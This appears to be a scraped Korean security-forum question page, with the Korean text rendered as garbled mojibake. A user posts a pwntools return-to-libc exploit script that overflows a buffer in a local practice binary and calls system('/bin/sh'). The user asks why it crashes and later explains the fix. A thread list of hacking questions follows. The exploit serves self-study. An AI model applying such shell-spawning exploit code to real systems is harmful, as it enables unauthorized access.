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 1574, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   turttle2s
   pwntools ¸¦ ÀÌ¿ëÇÑ exploit ÄÚµå Áú¹®

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1963 [º¹»ç]


RTL ±â¹ýÀ» pwntools ¸¦ ÀÌ¿ëÇØ exploit Äڵ带 ÀÛ¼ºÇغ¸·Á°í ÇÕ´Ï´Ù.
=== exp.py ===
from pwn import *
import os

p = process('./rtl_me')

system = 0xf7e1dd10
exit = 0xf7e10f70
ppr = 0x80484ea
shell_addr = 0xf7f5c8cf   # '/bin/sh' address

payload = 'A' * 260  # buf(256) + sfp(4)

payload += p32(system)
payload += p32(exit)
payload += p32(shell_addr)

p.send(payload)
sleep(0.5)
p.interactive()
==============

¹®Á¦´Â exp.py¸¦ ÀÌ¿ëÇÏ¸é ¼¼±×¸ÕÆ® ÆúÆ®°¡ ¶ß°í ½ºÅ©¸³Æ®¸¦ ÀÌ¿ëÇØ ÀÎÀÚ·Î ³ÖÀ¸¸é Àß ÀÛµ¿À» ÇÕ´Ï´Ù.Àú Äڵ忡 ¹¹°¡ ¹®Á¦°¡ ÀÖ´ÂÁö ¸ð¸£°Ú½À´Ï´Ù .
°í¼ö´Ôµé µµ¿ÍÁÖ¼¼¿ä ¤Ð¤Ð

  Hit : 1513     Date : 2019/06/07 09:45



    
turttle2s ÇØ°áÇß½À´Ï´Ù. ÇØ´ç ÄÚµå´Â stdin À϶§ ¸ÂÃç¼­ ÀÛ¼ºµÈ °ÍÀÌ°í, Á¦°¡ ¸¸µç ÇÁ·Î±×·¥Àº ÀÎÀÚ·Î Àü´ÞÇØÁà¾ßÇϱ⠶§¹®¿¡ ´Ù¸¥ ¹æ½ÄÀ» »ç¿ëÇØ¾ß ÀÛµ¿ÇÏ´Â Äڵ忴½À´Ï´Ù ¤Ð¤Ð Á˼ÛÇϺó´Ù... 2019/06/10  
turttle2s ¿Í.. ³»°¡ ÀÌ·¨±¸³ª.. ÁøÂ¥ ¸ÛûÇÏ³× 2019/08/21  
turttle2s ±¦Âú¾Æ ±×·² ¼ö ÀÖ¾î 2019/08/28  
1574 ºñ¹Ð±ÛÀÔ´Ï´Ù  À¯·¹Ä« Æ÷Å» ½Ã½ºÅÛ¿¡ ´ëÇØ Àß ¾Æ½Ã´Â ºÐ     cla12
12/24 0
1573 ºñ¹Ð±ÛÀÔ´Ï´Ù  Àú ³×ÀÌÆ®¿Â ÇØÅ·ÇÏ°í½ÍÀºµ¥¿µ..     jiwon17
02/10 1
1572 ºñ¹Ð±ÛÀÔ´Ï´Ù  À©µµ¿ìÇØÅ·¹æº¡Á»¿©     wswskws
07/17 2
1571 ºñ¹Ð±ÛÀÔ´Ï´Ù  Àú µµ½º·Î ÇØÅ·ÇÏ´Â ¹ýÁ»;;     kdohyun98
05/04 2
1570 ºñ¹Ð±ÛÀÔ´Ï´Ù  Ä£±¸±¸ÇØ¿©     ½º³ªÀÌÆÛ01
12/22 3
1569 ºñ¹Ð±ÛÀÔ´Ï´Ù  À̰͵µ ÇØÅ·Àΰ¡¿ä?     rain37
03/19 4
1568 ºñ¹Ð±ÛÀÔ´Ï´Ù  Á¦°¡ Áö±Ý xss¿¡ ´ëÇؼ­ °øºÎÇϴµ¥....     k983803
04/11 4
1567 ºñ¹Ð±ÛÀÔ´Ï´Ù  asdad[6]     knightpop
12/07 855
1566   libc°ü·Ã - 2[5]     lMaxl04
08/24 856
1565   LOB GATE¹®Á¦ Ç®¸é¼­ ±Ã±ÝÇÑÁ¡[3]     hackxx123
08/24 863
1564   ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ ½ºÅà ÁÖ¼Ò È®ÀÎ ¹æ¹ýÀÌ ±Ã±ÝÇÕ´Ï´Ù.[2]     lMaxl04
06/16 916
1563   ASLRÀÌ °É·ÁÀÖÀ»¶§ ret¿¡ ROPÀ¸·Î jmp %espÀ» »ç¿ëÇÑ °æ¿ì.[3]     lMaxl04
06/29 1113
1562   pwnable.kr echo1 Áú¹®2 (½ºÆ÷ ÁÖÀÇ)[2]     turttle2s
10/05 1210
1561   setreuidÇÔ¼ö¿Í setuidºñÆ® °ü°è[1]     park345601
07/26 1348
1560     [re] level1¹ø ¹®Á¦ Áú¹®µå¸³´Ï´Ù.     in_reason
06/26 1391
1559     [re] Á»ºñ ¹ÙÀÌ·¯½º ¹®ÀÇ °Ç     ÇѽÂÀç
05/23 1393
1558   ½ºÅÿ¡ µ¥ÀÌÅÍ ³ÖÀ» ¶§ SIGSEGV[4]     turttle2s
02/04 1428
1557   lob remote bof[6]     park345601
07/25 1433
1556   PLT GOT Áú¹®[3]     turttle2s
07/30 1505
  pwntools ¸¦ ÀÌ¿ëÇÑ exploit ÄÚµå Áú¹®[3]     turttle2s
06/07 1512
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